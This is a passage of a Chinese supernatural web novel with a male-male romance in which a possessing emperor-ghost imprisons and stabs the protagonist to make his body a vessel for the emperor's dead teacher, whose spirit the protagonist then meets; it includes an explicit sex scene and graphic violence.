楚明铮仍然安静的注视着面前的篝火堆,过了很长时间,才慢慢的从地上站起身,简单应付了一句:“早点休息吧,我出去转转。” …… 山间溪流潺潺,楚明铮靠在一方枝繁叶茂的大树上,夜色在头顶交错掩映。 无论白天多么风景优美的山林,一旦到了晚上,就不可避免的变得狰狞可怖了起来,每一处窸窸窣窣作响的草丛,都仿佛静夜里蛰伏的猛兽,或者吞吐信子的毒蛇。 楚明铮倒没什么怕的,大概是心里有更令人值得忧虑的事情。 他神色平淡的站在那里,片刻过后,他慢吞吞的从口袋里摸出一根烟,拿到手里点燃了。 火星散落在夜色里,将他阴沉冷锐的面容映衬出了几分肃穆和神圣的感觉。 “吸烟有害健康。”身后传来齐栩叹了口气,无奈般的声音。 楚明铮懒得回头搭理他,继续将烟叼在贝齿间,神情倦怠的吞云吐雾。 齐栩伸手过来就要抢夺他手中的烟,被楚明铮冷不丁张口,吐了一脸烟雾。 齐栩猝不及防,一时忍不住偏过头去呛咳了起来:“楚明铮!” 他一边咳嗽,一边含着被呛出来的生理性泪水,微愠的抬头重新看向师父。 却见楚明铮已经将香烟从嘴里取出来了,修长手指碾磨烟尾,那双形状如狐狸似的眼睛里笑意柔和,含蓄而狡黠,充满了年上男人独有的魅力。 齐栩心脏一跳,不觉好气又好笑。 他蓦然伸出手,将楚明铮后脑勺扣着,强行摁到了自己身前,紧接着俯身用力堵住对方冰凉干燥的嘴唇,唇齿缠绵的接吻间泛着楚明铮唇间浓重的烟草气。 齐栩越吻越急,直接将他推抵到了树干上,头顶枝叶随之摇晃起来,洒下一片更浓重的阴影。 楚明铮喘息着在他的桎梏里抬起头,伸手将齐栩搂的更紧了一点。 “师父……”齐栩在他耳边叹息似的道。 “嗯?”楚明铮回了一个含糊不清的单音节字。 “你原本不用被卷进来的。”他将楚明铮抵在树上,半张脸都埋在楚明铮颈间,吐息间仿佛要将师父身上的气息全数吸进肺腔里去:“你为什么,为什么偏偏要插手呢?” “插手什么?”楚明铮反问道。 “插手你与主神的事吗?” “那不叫插手,从你离开基地的那一刻起,你的事就是我的事了。”楚明铮定定的注视着齐栩的眼睛,一字一句的说。 齐栩颤抖着用指腹抹去他唇上的晶莹,跟他额头相抵,森然丛林间,彼此的体温竟是此间唯一的暖意。 …… 耳畔全是虫鸣鸟叫,楚明铮的意识已经濒临昏沉了。 他极尽痛苦的仰起脖颈,想要将齐栩从自己身上推开下去,青筋暴起,颈间薄汗都是甜腻的气息。 齐栩钉在原地没动,但还是伸手在他光滑的脊背上,有一下没一下的安抚着。 “你他妈动静小点……”楚明铮目光虚弱的落在半空,好不容易聚拢了焦点,攒了些力气就骂齐栩,只不过那声音含着尚未褪去的情潮水色,全无威严,甚至还带着点潮湿的绞紧瑟缩。 “这里离山洞不远,别让那两位听见了。” 齐栩笑了笑,俯身去吻他汗涔涔的鬓角:“师父,这话应该对你自己说才是。” “比起我,你好像才是声音更大的那个……” 楚明铮扬手给了他一巴掌,有气无力的又瘫软回去了。 四下树叶晃动,薄如蝉翼的霜雾簌簌而落,空气里一片缱绻柔和。 “现在总够了吧?”楚明铮没好气的道:“旁边就是小溪,带我过去洗一下。” “好嘞。”齐栩答的从善如流,将楚明铮从地上往起一抱,两人沿途走到河边,就着冰凉的溪水清理。 楚明铮坐在石头上,看着齐栩站在溪水里忙上忙下的身影。 “哎……凉!”他被溪水冷的一个哆嗦,忍不住抗议道。 齐栩无奈:“那也得擦一下,师父你总不能黏糊着穿衣服吧。” “那是谁害的?” “我害的,我错了,师父怎么罚我都行,但是你先忍一下。” 齐栩说着,顺势撩起一鞠凉水往楚明铮身上一泼。 楚明铮登时向后一仰身子下意识想要躲避,哪料他刚才体力消耗的太过,一时腿脚酸软,四肢无力,仰面就摔下石头去了。 齐栩吓了一跳,闪身过去将他拦腰抱起来了,楚明铮在水里站稳身形的瞬间,随即也从河里捞了一把水,抬手给他泼回去了。 两人这下全成了落汤鸡,在河里站着彼此大眼瞪小眼了一会儿,又对视着彼此,慢慢笑了起来。 “你笑的像个傻子。”楚明铮将手上最后一点水在齐栩身上弹干净了,顺手将他一扯,两人一起湿淋淋的朝岸上跋涉过去。 “起码现在洗干净了嘛,进山洞以后烤烤火就好了。”齐栩跟在他身后道。 这话说完了自己又仿佛不确定一般,探头又关切的问楚明铮:“我手指能够到的地方都清理过了 ,里边应该干净了吧师父?” “你他妈自己弄进去的,你问我?” “我不知道深度啊……” “滚。”楚明铮面红耳赤道。 两人一前一后的往岸上去,齐栩始终跟在楚明铮身后。 水中溪流湍急,楚明铮自顾自的往前走,身后一直有脚步声,忽然他听见身后的脚步声停了,仿佛齐栩在原地站住不动了。 楚明铮心生不妙,他下意识回过头去,只见徒弟安静的站在原地,溪流从他小腿处流淌而过。 “怎么了,走啊?”楚明铮狐疑的问了一句。 齐栩面无表情的抬起头来,一双眼睛不知何时被黑雾笼罩的严丝合缝,已经不见了活人的神采。 下一秒,他猛然朝楚明铮扑来,一把将楚明铮按着推倒在了河流里。 楚明铮剧烈的呛咳起来,大股大股的水流涌进他的肺腔,他拼命挣扎,却怎么都挣不开齐栩的手臂。 他的意识渐渐模糊,最终因为窒息,所有神志在水底滑落消散的深渊。《 》 100-104 第101章 “世间事,总是无心插…… 冰冷的溪水仿佛贯穿了楚明铮的四肢百骸,他的浑身上下都变得沉甸甸的,胸口如同压着块巨大的石头,将他喘息呼吸的通道全都束缚着堵住了。 有人从他身后缓步而来。 一道极其强劲的掌风倏然砸在楚明铮瘦削的脊背上,楚明铮在昏迷中骤然胸肺一痛,无数淤水这才从他的喉咙里呛咳出来。 意识昏沉中他感觉自己仿佛一只被拢在蛛网中的猎物,剧烈的呛咳使他的身体如同一叶扁舟,在风浪里连绵不绝的起伏。 “咳咳……咳咳咳……” 又不知道过了多久,楚明铮才精疲力竭的睁开了眼睛。 入目是一间冰冷的石室。 他整个人被两道萧寒粗大的铁索牢牢束缚在石壁上,两只手腕分别系着一道铁链,分开牵扯,身形被迫向上吊起,后背靠在冰冷的石壁上。 楚明铮身量不矮,但是这样的束缚高度明显是奔着不想让他好受去的,两道铁索最大限度的将他的身形牵扯着高于水平线,脚尖也能虚虚点地,这个姿势极其难受,手臂完全使不上力气,没一会儿被束缚者就会肌肉酸痛,气喘吁吁。 就比如楚明铮现在这样。 他靠在冰冷硌人的石壁上,瞳孔极其缓慢的转动了一下,冷汗混杂着额头尚未擦干的溪水水珠,一齐从鬓角旁滚涌而下。 脚步声从石室外缓缓而来,每一声都极沉重而极稳的砸在地面上,不多时,熟悉的身影就从石室的拐角处转了出来。 楚明铮睁着那双憔悴而疲倦的湿润眼睛,抬头与来人对视。 他定定的看着对面齐栩的身影,末了轻声笑了起来:“陛下,别来无恙。” 站在他对面的正是主神。 不对,严格意义上来讲,此时应该是占据了齐栩身体的主神,跟楚明铮相对而立。 “朕还以为你还得再清醒一会儿,才能叫出朕的身份呢。”主神悠然在楚明铮对面找了个石块,姿态端庄文雅的俯身坐了下来:“看来是朕多虑了,楚先生对朕和齐栩,都很熟悉。” 楚明铮淌着冷汗,嘲讽的笑了一下:“那倒不是。” “你跟他心性性格都天差地别,属实没有什么可比性,一眼当然就能看出不同来。” 这话听上去颇为不客气,就差把话赤裸裸的挑明说开了:你不如我徒弟,别自作多情。 主神皮笑肉不笑的跟他四目相对。 “你不问问朕,为什么把你带到这里来吗?”他坐在石台上,换了一个更为优雅的姿势,气质矜贵儒雅,姿态高傲,一如前世那些安坐龙椅上的日夜。 楚明铮费力的喘了口气,摇摇头:“不问,能猜到。” “那你说说看。” “左右无非是那几个原因。”楚明铮叙述道:“一,你实在太思念你师父了,想通过成为齐栩的方式,在我这里重温有师父的感觉。” “二,你因为齐栩复活我的事情,受到了启发,决定遍寻上下五千年,聚拢贺松墨一缕亡魂,同样将他安放在某个副本或者容器里,假以时日,时机成熟,就让他重返人间。” 主神赞许的点了点头,继续谆谆善诱:“思路不错,但是这跟我把你困在这里,又有什么关系呢,楚先生?” 楚明铮无奈:“贺松墨去世数千年,尸体早就化为腐朽了,你既然要让他重返人间,必然要给他的一缕亡魂,找一个栖身的容器。” “你自己占据了齐栩的身体,那对应来讲,我这具躯壳,不就是贺松墨最完美的容器吗?” “啪,啪,啪……”主神在空旷的石室里一下一下的拍起手掌来。 “聪明。”主神赞叹道:“实在是聪明。” “不愧是一个人狂揽血池棺林全盘大局,还能毫发无损破阵而出的楚明铮。” “您也不遑多让,陛下。”楚明铮笑道:“一旦你成功将贺松墨的魂魄引入我体内,从此你和贺松墨就可以以齐栩和楚明铮的身份再世为人,重续前缘,你也能好好补偿他了,是不是?” “是的。”主神抚掌道:“楚先生跟朕的思路简直完全契合,原来贺松墨只是朕的老师,楚先生才是朕的知己啊。” 楚明铮险些被这话呛的又背过气去,俯身惊天动地的咳嗽起来,牵动着铁链在周遭哗啦啦的作响,泠泠碰撞之声不绝于耳。 主神依旧似笑非笑的盯着他,那双眼睛毫无情感,充斥着那种封建制度里上位者,视人命如草芥的漠然。 “劳驾。”楚明铮痛苦的抬了抬眼睛:“您能别用齐栩的脸做这种高贵冷艳的表情吗?您现在看起来很像是面部痉挛导致的肌肉抽搐。” 主神脸色果然一僵,兀自“哼”了一声,背过身去,不让楚明铮看见自己了。 楚明铮将周身的重量全数压在石壁上,尽量让自己的手腕被铁索勒得不是那么疼,身后石板冷硬,传到脊背上更是寒意十足,渗透着丝丝冷意。 他低下头,下颌几乎要抵到胸口上,尽力调和着肺腔里的吐息,气若游丝的缓和了好长时间,这才重新开口问眼前的主神。 “看在我即将成为贺松墨容器的份上,陛下能不能多少告诉我一下,这里到底是什么地方?让我死也死个明白,知道自己最后的埋骨处在哪儿。” 齐栩躯壳里的主神静坐在石台上,思忖半晌,诧异的回道:“楚先生这么聪明,难道会猜不到吗?” 楚明铮虚弱的摇了一下头,尽可能的扮演出贺松墨那种青衫温柔的师父模样,温文尔雅道:“不知道呢,还请陛下讲明。” 主神抬起头,望向用结实石板覆盖住的天花板,和气的解释道:“这里是镇灵塔的地下部分。” “也是贺松墨的埋骨之所。” 楚明铮沉默不语,静静的听着对方说话,主神的每一句话他都早有预料,但是每一句真正听到耳朵里后,他的心脏又会不可避免的向下沉落几寸,事情比他想象的还要糟糕。 “师父当年在狱中死后,朕悲伤之下病重数天,没来得及给师父操办丧事,师父的尸骨一直停放在大理寺狱中不曾挪动。” “等朕有力气下床的时候,那尸身就已经趋近于腐烂了。” “国师告诉朕,这是不详的预兆,让朕尽快给师父寻一个埋骨之所,朕说朕要把他葬在此山中,也就是这条龙脉上。”主神安然讲述着:“这是朕登基那年召全国法师之力,给朕卜算出的灵气聚集之所,朕百年之后,是定然要埋在这里的。” “朕也想让师父陪着朕,死后也埋在朕的旁侧。” “国师大惊失色,连夜跪在朕的御书房门口,祈求朕收回成命,说贺松墨横死之身,死后恐怕怨气十足,若是埋在灵气聚集的龙脉宝地之上,万一邪灵作乱,将龙脉破坏了,影响我朝世世代代,该当如何。” 楚明铮深吸一口气,硬是把满腹吐槽忍下去了。 他心说这么多年,其实为祸世间,到处作乱的邪灵就你一个而已,跟贺松墨没什么关系。 主神大概也看出了楚明铮的神色无语,但是他并不在意,勾唇潇洒的笑了笑:“朕无奈,玄事占卜关乎国运,朕只好听他的,采取了一些措施。” “朕把贺松墨葬在了龙脉旁,但是为了防止他死后冤魂作乱,朕又在他的埋骨地上,建造了这么一座镇灵邪塔,数千年来压在师父身上,以此安抚国人。” 楚明铮掀起眼皮,又朝头顶看了看,平静道:“然后你还找了一堆乱七八糟的脏东西压在你师父头上,扰的他几千年不得安宁。” “好孝顺的徒弟。”楚明铮感慨:“着实佩服。” 主神也没反驳,他仍然平稳而温文的道:“朕生前的想法一向就颇为独特,旁人难以理解,此事你不是在血池棺林里就已经知晓了吗?” “知晓,知晓。”楚明铮松快的点头:“只是这次更加深了理解而已,陛下圣明。” 楚明铮眼底悲哀和嘲讽的神色更甚,他完全难以与对面这个生前死后都位高权重的疯子共情。 这皇帝口中的什么“安抚国人”“国师所言影响国运”云云都是借口,他在贺松墨的尸骨上方建造镇灵邪塔,并在塔中安放赶尸队和冥婚新娘等鬼怪镇压守塔的真实想法其实很简单。 那就是他自己也害怕贺松墨死后报复,害怕自己的老师从地狱里归来,对自己和自己的皇位不利,才出此决策。 皇帝不肯给老师一个寿终正寝的生前,也不肯给老师一个死后的清静。 却在千年后被楚明铮和齐栩启发,忽然福至心灵,痛改前非,决定搞死楚明铮和齐栩,用他俩的驱壳给老师和自己还阳。 完了之后,再跟老师在二十一世纪,以楚明铮和齐栩的身份再续前缘,修补前世师生情。 这种疯癫的行为,怎一个有病一词形容得了。 “你如今脚下踩着的地方,就是数千年前,朕埋葬老师的那块土壤。”主神心平气和的道。 “老师的魂魄还剩最后一角,就能修补好了,楚先生这副皮相清俊文雅,整合我意。” “届时便劳烦楚先生自己从这副躯壳里离开,将你的身体让给老师,我亦会操作齐栩自杀,如此这样,就可万事大吉了。”主神和颜悦色的说。 楚明铮冷笑一声,没做表态。 这句话翻译一下,意思就是,等贺松墨的灵魂被收集完整了,你就自己给自己个了断,直接自杀吧,给贺松墨腾位置,谢谢您了。 “你费这么大力气,又是设定主控中心考察规则,又是算计我一定会跟着齐栩同出同入,把我们一群人千里迢迢传送到山里,就只是为了把我困在这里,给贺松做容器?”楚明铮依靠着石壁,缓和着吐息问道。 “你可以这么理解,但也不全是。”主神耐心的同他解释着说道。 “五年一度的主控中心高层考察副本,一直以来都是主控中心惯例,朕最开始,只是依照惯例行事。” “后来朕受了齐栩复活你的启发,决心收集老师的魂魄碎片,帮助老师还阳,进展颇快,眼看着就要成功了。” “偏巧此时,你进入了血池棺林副本,大展身手,着实惊艳了朕。”主神由衷的道:“上天入地,朕都再找不到任何一个比楚先生还要合适给师父做容器的人了,可巧,一切时间都对得上了,朕立刻就将埋葬师父的这座塔,精心设计了一番,让它成为骗诸位入副本的场地。” “啊,不对,这怎么能叫骗呢,这是朕给楚先生至高无上的殊荣。”主神深情道。 “谢谢你的欣赏。”楚明铮简短的回应道。 “不客气。”主神和气温文的说:“朕是天子,君无戏言,朕说的每一句话,都是发自真心。” 楚明铮:“……” “你没问过贺松墨自己愿不愿意返回人间吗?”楚明铮问道。 主神做思考问题状,隔了片刻,他认真的回答:“齐栩带你回来的时候,也没问过你的意见。” 楚明铮一噎,被这话堵的沉默了片刻,末了他叹了口气,说道:“你说的对,他也是个王八蛋。” 主神满意的一笑,似乎在楚明铮的这句似是而非的责怪之中,寻到了一丝共情的痕迹。 “朕生前便有远见。”主神在石室里,绕着楚明铮周身转了一圈,给他介绍道:“这是当年我朝境内最集结天地之灵华的地方,因为其地理环境太过特殊,所以这里发生什么神灵异怪之事,都不奇妙。” “这也是副本怨念最核心的发源地,你是总积分排行榜在位时间最长的第一名,朕今天带你来这里,也算朕的嘉奖,你这些年,在朕的游戏中表现的极为出色。” 楚明铮冷冷道:“倘若我最开始就知道副本的核心原理与你这种人有关,我进入副本的第一天就自杀出局,半分干系都不想跟你沾。” 主神莞尔:“晚了。” “世间事,总是无心插柳,柳成荫啊……”主神一唱三叹,婉转的声音飘浮,袅袅飞扬在石室中。 …… “对了。”主神又想起什么似的,从腰间抽了把匕首出来,慢慢踱步,溜达到楚明铮身侧。 “为了让贺松墨日后更加适应你这副身体,你得在此刻就用血液喂养他的残骸。” 楚明铮眉心微微一挑,一言不发的等待着他的下一步动作。 “他千年之前的骨骼就埋在你脚下的这片土地上,我将你的血取出来,从今天开始,每天渗透一部分到土地里,日后我师父还阳时,就会格外适应你这副身体了。” 主神一边朝他和颜悦色的笑着,一边扬起手,将尖锐的匕首,倏然刺进了楚明铮的胸膛里。 第102章 楚明铮腕上的锁链被晃…… 铁器在血肉里狰狞的搅动。 楚明铮蓦然就瞪大眼睛,一个字都讲不出来了。 他几乎能听到冰冷的刀锋深深嵌入自己胸肺肋骨中的声音,血肉模糊翻涌,主神占据着齐栩的面容,拿着刀锋抵着自己,一双眼睛似笑非笑,刀柄每往进送入一寸,刀片在他体内“咕叽咕叽”的搅拌声就更重几分。 血液嗡嗡的撞击着楚明铮的耳膜,他已经听不见外界的声音了。 “别……”楚明铮从喉咙里艰难的发出几个破碎的单音节字,他的双手因为极致的痛苦而在铁环的禁锢中攥成拳头,青筋暴起,冷汗涔涔,生理性的泪水断断续续的从眶中滚落而下。 “别什么?”主神好奇的凑近了他的嘴边,想听清这个一向倨傲冷淡的人,在极度痛苦的情况下,会说出怎样求饶服软的话。 楚明铮低头虚弱的喘息着,半晌无力的吐出几个字来,将口中的话说完整了。 “别用齐栩的脸做这种事,他不会这样的……” 他就算再恨我,再跟我生气的时候,也不会跟我刀剑相向。 话音平缓而破碎的落入主神耳中,主神面无表情的盯着楚明铮,末了神情不变,手上动作依旧。 他握着刀柄,在楚明铮的胸膛里又搅动了数下,一直到楚明铮歇斯底里的实在吃不住剧痛,头颅一歪,彻底昏过去为止。 面前的年轻人容色苍白,浑身都是血水,被吊在铁索间几无气息。 这幅模样对于主神来说仿佛有着不可抵抗般致命的吸引力,惨淡而憔悴,一如当年贺松墨在牢狱里最后祈求他时的场景。 主神若有所思的捏着刀柄,又在楚明铮的胸膛里戳了两三下,迫使他在昏迷里,也忍不住发出了几声痛苦的闷哼,这才满意的收手罢休。 刀锋离体的瞬间,血水如同断线的红珠,噼里啪啦的打落在脚下的土地上,空气里有风流变动,不经意间掀起几道微小的尘土和气流。 楚明铮对此一无所知,他早就因为失血过多而昏迷过去了,连主神是什么时候把刀锋从他体内抽出去的都不知道。 …… 一片寂静的混沌。 楚明铮在虚无的幻影中睁开眼睛,他身上已经不疼了,手腕上也戴主神用来禁锢他的那两道铁环枷锁,四下是永无止境的漆黑,唯有自己的手掌和躯体间,散发出一点活人的光芒。 这是哪儿?人临死前的走马灯么? 楚明铮疑惑的从地上爬起来,四下打量着这个地方。 身后一道声音突兀的响起:“抱歉,给兄台添麻烦了。” 楚明铮一怔,随即回过头去,只见身后站着个青色长衫的瘦削身影,脸上扣着熟悉的仙鹤样式面具,双手交握,叠放于身前,见楚明铮回头看他,他就颔首垂眼,俯身一礼,咬字清晰的又道了一声:“对不住,楚兄。” 楚明铮注视着眼前的仙鹤面具,良久苦笑一声:“仙鹤兄,你确实对不住我。” 贺松墨用那双伤感而清润的眸子,隔着仙鹤面具,无奈的回视着他。 他似乎不是很擅长言辞,面对楚明铮的时候,眼神里的局促都快满溢出来了。 “我帮楚兄消减了一部分灵体上的疼痛。”他指了指楚明铮胸口上原本触目惊心的那个被刀捅穿的大洞,谦和而略带不安的道:“楚兄此时应该能好一些了罢。” 楚明铮一点头,利落道:“当然。” 他打量着眼前的贺松墨,发觉此人身上跟他一样,都泛着点萤火般的细微光亮。 贺松墨的躯体相比他而言,更加趋近于透明,伸出的手掌纹路上光华流转,比起活人,更像是某种成熟的灵体,看来主神所言没错,贺松墨的残魂的确是快要被他养到还阳的程度了。 “着实对不住。”贺松墨又道了一声,语气比先前更为诚恳。 事已至此,情况已经糟的不能再糟糕了,楚明铮的心情反倒放松下来,他饶有兴趣的继续打量着贺松墨。 贺松墨君子之风,心性温和,再加上他心底有愧于楚明铮,面对这种赤条条的探索目光,也显得并不生气,就任由他随便看。 “你是几千年前就死的人。”楚明铮缓缓开口:“我现在跟你在一个空间里,我们还能看见彼此,这是不是说明我离死也不远了。” “楚兄此言差矣。”贺松墨青袍微扬,温言否认道。 “贺某虽然身躯作古,但是魂魄仍在,陛下要臣还魂,是以用无数精华灵气滋养臣的魂魄,如今臣半只脚已经从阴间踏入阳间了,楚兄虽然身负重伤,但魂魄仍在躯体之内,仍有一息尚存,不可妄自菲薄。” “……” “朋友,你们古代人说话都这么啰里啰嗦吗?”楚明铮诚心诚意的发问。 “你直接告诉我,是的,你快死了,但是还没死,我们两个现在都在半死不活的状态下游荡,不就好了?” 贺松墨轻轻眨动了一下眼睫,垂眸道:“抱歉。” 楚明铮苦笑:“从我醒来到现在,这已经是你说的第三次抱歉了,可我没有责怪你的意思。” “可我有愧于楚兄。”贺松墨低声道。 “楚兄在血池棺林四合院中,以一己之力护卫于我挡在我身前的恩情,贺某没齿难忘。” 楚明铮讶异的挑了一下眉心,仿佛是在震惊:你居然还记得这一茬? “贺某幼时家境贫寒,后来登科入仕,身为人臣,向来只有低眉颔首,服侍他人的份,从未有人像楚兄那日一般,一人一刀,如神兵天降,护佑于我。”贺松墨诚恳的说道。 “……” 楚明铮被他夸的有点无助。 “举手之劳,举手之劳……”楚明铮虚弱的摆了一下手,示意他不必记挂。 贺松墨立在原地,清瘦的脊背略微沉下去,显出一点佝偻的憔悴感。 他沉默许久,对楚明铮又道:“陛下的决策,亦非我本意。” “嗯,我知道。”楚明铮这会儿松懈下来,身上又实在疲惫,于是懒洋洋的在地上坐了下来,跟贺松墨一坐一站,颇有几分静态图的美感。 “我知道你对死而复生这件事不感兴趣,应该也不想把自己的灵魂硬塞进我这具躯壳里,毕竟不是自己的身体,用起来多怪异。”楚明铮耸了耸肩。 贺松墨默然表示认同。 “但是据我了解,你们那个时代流行的思维,是君让臣死,臣不得不死,那反过来亦然,君让臣活,臣也不得不活。”楚明铮思忖着道:“所以如果主神一定要求你要还阳的话,你也是会听从他的话,重返人间的,对吗?” 贺松墨继续沉默。 楚明铮知道自己猜对了,不由冷笑一声。 “那你这时候假惺惺的帮我疗什么伤?”楚明铮讥讽道:“你看着我尽早死掉,不是更有利于你执行你家陛下的命令,尽快取代我死而复生么?” 贺松墨最后沉默了数秒,数秒过后,他双膝一弯,“扑通”一声跪地下去,朝楚明铮俯身便磕头。 惊得楚明铮向后一个仰倒,火速弹跳而起,不有分说就去扶他:“干什么!” “我今年才三十多岁,你都几千岁了,算起辈分来你都能当我老祖宗,你给我磕头,我还怕折寿呢!” 贺松墨不肯停下动作,一个劲的拼命磕头:“贺某有愧于楚兄,请楚兄责罚。” “神经病,我责罚你干什么,现代社会人人平等,谁都没资格责罚谁。”楚明铮屈膝一撞他的小腹,逼迫他抬头起身,停下了磕头的动作:“站起来!” “楚兄……”青衫人的嗓音里,已经带上了哭腔。 那声音极其的清润,仿佛山间的潺潺溪流,仅是听他说几句话,楚明铮都能脑补出他当年在宫中带领两位皇子读书时的温雅模样。 也难怪主神对他不死不休了这么多年。 楚明铮一手强行扶着他,一手跃跃欲试的往他面具上放:“……你要是真觉得愧对于我,不如满足我一个要求。” “什么?”贺松墨懵懵的问。 “摘下面具,让我看看仙鹤兄你的真容。”楚明铮笑道:“我就原谅你,可以不?” 贺松墨犹豫道:“我的真容有什么好看的,楚兄你……” “我好奇,不行啊?”楚明铮道。 “我,我生前容貌已毁,不好看的……摘下来,恐脏了楚兄的眼睛。”贺松墨惶惶然道。 楚明铮神情陡然不悦:“我救过你,你徒弟马上要杀我给你续命,如今我死到临头,你方才还说愧对于我,现在却连这么一个愿望都不肯满足我,仙鹤兄,此举非君子做派,你再想想。” 古代人,尤其是贺松墨这种古代文人对自己的道德要求果然极高,贺松墨明显被这话刺到了心坎上。 他深吸一口气,颤巍巍的将手伸到了面具上,然后仿佛下定了极大的决心,指尖一动,将面具从脸上摘下来了。 一张沾满鲜血和伤痕的清俊面容展现在了楚明铮眼前。 贺松墨不安的望着对面,生怕从楚明铮的眼睛里读出嫌弃或是厌恶的神色。 他生前满朝骂名,受刑的时候就将脸毁了大半,死后皇帝抱着他的尸体发疯,不肯相信他是真死了,用匕首又在他的脸上身上疯狂刺进去几刀,试图用这种方法逼迫贺松墨从死亡状态中醒过来。 然而无济于事。 贺松墨死后,面容维持了生前最后的伤痕累累,又加上怨念未消的缘故,于是就把这副并不好看的遗容维持了数千年。 前几百年的时候,他是一团虚无的灵体,没有自己的意识,随时随地飘散在空中。 后几十年,主神建立了血池棺林副本,他的一缕残魂被注入了血池棺林中,才慢慢有了属于鬼魂的记忆。 在血池棺林里始终戴着仙鹤面具,将一茬一茬的玩家迎来送往,轮转数年。 楚明铮看着他这张凄惨的面容,一时也说不出来话了,只好无声的叹了口气:“我看明白了,多谢仙鹤兄。” 贺松墨于是拿着面具又要往脸上安。 “倘若抛开皇权,抛开你该死的君臣服从关系,仙鹤兄,你老实告诉我,你到底愿不愿意还这个阳。”楚明铮伸手一把按住他,将他戴面具的动作硬生生阻止在半空,逼迫感十足的问道。 贺松墨浑身颤抖了一下,下意识想要挣脱开来。 但是他无论是生前还是死后,都是一介文弱书生,无论是手劲还是武力值,都跟三十多年刀头舔血,风里来雨里去的楚明铮没法比,于是被楚明铮死死按在原地,怎么都动不了。 “楚兄……” “你要是真想还这个阳,在二十一世纪继续跟着你家陛下,给他当老师,侍候在他左右,那我给你腾地方,无所谓,反正我这么些年,活的也够了。” “但是如果你不想,只是难以违抗君主的命令,不得不为之——”楚明铮翻腕用力,强迫他凝神直视着自己,一字一句的说:“那我坚决不给你腾地方,这是我的身体,我的牺牲也是要追求价值的。” “如果像现在这样,你不情我不愿,只是为了某个荒唐皇帝的个人情感,我就要牺牲自己的话,那我宁可拿这身皮肉去当化肥,起码还对环境保护有点用处。” 贺松墨怔然的看着他,很久都不发一言。 “你说话!”楚明铮催促道。 对于贺松墨来说,表达“我不愿意按照君主的意愿行事”这一想法,似乎是个极其困难的举动,他嘴唇嗫喻了好半晌,过了很久,他眼底翻涌的神色才逐渐平息下来,满目疮痍的面容苍白而无力。 “我不想。”贺松墨轻声道。 “大丈夫在世,本是要为家国鞠躬尽瘁,死而后已。” “可如今千年已过,家国已亡,我自己也早就是枯骨一副,那灵魂就应当与□□一道,消散于天地,驰骋自由,回归最本真的状态。” 楚明铮听他这文绉绉的说话方式,实在是头疼的要命,好不容易从中领会到了贺松墨的意思,于是不太确定的翻译道:“回归最本真的自由……就是说你——” “这一世被困的太久,我想离开了。”贺松墨温柔的说道。 “楚兄面如冠玉,英挺俊俏,贺某个性软弱,一世碌碌无为,不敢鸠占鹊巢。” “若是楚兄有办法,还请楚兄,放贺某自由。” 贺松墨总算说了句白话文,这话一出,就算楚明铮是个彻头彻尾的文盲,也该能听懂了。 “你不想取代我的身体?” “不想。” “你也不想留下来在二十一世纪侍奉神经病皇帝?” “不想。” “你想投胎转世,不想再当王朝的倒霉国师了?” “正是。” 楚明铮长长的舒了一口气:“那就好办了。” “不好办。”贺松墨依旧伤感道。 “楚兄,你可知此地乃是方圆数百公里中,风水最盛的灵气宝地,它既能聚拢天地之精华,而且灵气与魂魄聚拢过后,一旦成型,再难消散,四周山川密布,呈环绕状围拢此地,我等灵气怨气,都被牵绊禁锢于此。” “相当于一个大型的牢笼,将我等的魂魄束缚在四面山野之间,非人力所能破坏。” “楚兄要想将贺某的魂魄释放出去,投胎转世,怕是难上加难。” “更何况,陛下他……” 贺松墨适时的沉默了。 楚明铮明白他想说什么,他想说楚明铮自己的身躯都被主神用铁索铐着,束缚在石洞内,齐栩早就跟主神签订过生死契约,如今灵魂和躯壳都受主神管辖,更是难以成为他们的助力。 八百里山脉重峦叠嶂,向外界求援更是天方夜谭。 破局似乎只是他们两个临死前虚无缥缈的幻想,跟小孩子的童言一般,不得当真。 楚明铮微微一笑:“不必担心这些。” “仙鹤兄方才也说了,这处八百里山峦宝地,乃是大自然的杰作,能孕育无数精怪,也能成为天然的束缚屏障。” “但大自然自古都是服务于全体生灵的,又不是他狗皇帝一人所独享,他能利用风水宝地,我们为什么不能利用?” 贺松墨茫然:“……那楚兄的意思是?” 楚明铮伸手在他眉心一点,柔声道:“先从无尽的黑暗中醒来吧,仙鹤兄,只有跟敌人正面相抗的时候,我们才有与之战斗搏杀,反败为胜的机会。” 贺松墨的神识随着他指尖的温度,轻飘飘的下坠而去,仿佛有一股巨大的力量,将他从鬼怪的世界里剥离而出。 浓雾氤氲,生魂从黄泉路悍然折返,重归人间。 楚明铮在石室里悠悠醒转,胸口传来一阵久违的刺痛,伤口的血已经止住了大半,不再有新的痛楚卷土重来了。 他的双腕仍然被吊在半空中,身形稍微一动,腕骨上的铁索就哗啦啦的作响,听起来令人牙酸。 对面主神仿佛感知到了什么,不可置信的盯着地面上的某处看,嘴里喃喃的激动道:“师父,师父是你吗?” “你回来了?” 楚明铮不动声色的将自己的手腕在铁索的夹缝间拧动了几寸,目光跟着主神一起,目不转睛的盯着山洞地上,那方鲜红的土壤,仿佛那里即将有什么东西,呼之欲出。 空气中好似有无形的水波纹路,沿着山洞的空间,一圈一圈,荡起涟漪的弧度。 石台边上原本矗立着一方蜡烛,此时烛火正在空中发出剧烈的晃动,扑簌簌的风声拍打着虚弱的火苗,所有的异动在片刻之间全数而起,山洞外的天空紧跟着风云变幻。 山雨欲来。 主神脸上的神色由激动,逐渐转为歇斯底里的狂热,他在山洞里来回疾走,情绪最外放的时候蓦然转身,回到楚明铮身畔,一把抓住他苍白染血的肩膀,语无伦次的开口。 “朕就知道,你的血是最管用的,选你没错,你定然能帮贺松墨重返朕的身边!” 楚明铮任由他抓着摇晃,唇边自始至终勾着一道淡淡的冷笑。 “陛下,既然贺松墨要回来了,那你可以动手杀我了。” 此话骤然提醒了主神,他又冷不防放开楚明铮,疾走着去山洞那头找方才撂下的匕首,准备结果了楚明铮。 就在这时,高塔之外,天空蓦然一道惊雷劈下,山洞中的阴影里,缓缓站起来一道漆黑浓重的身影。 主神在刹那之间,好似感知到了什么,直愣愣的停下了去寻找匕首的脚步。 他顺着那道阴影的方向,回过头去。 只见那熟悉的身影青衫衣袍站在原地,身形如松似竹,一如记忆里的挺立孤俏。 贺松墨刚从虚幻的阴阳交界处被楚明铮一把推出来,此时身体还维持着那种半虚半实的灵体状态,他空落落的下坠在山洞里,好奇的伸手拨弄了一下脚下的土壤。 时隔千年,贺松墨终于触碰到了一次真正的土壤,奇妙的感触将他的心神全数掠夺了过去,一时没顾得上理会不远处热泪盈眶的主神。 “师父……” 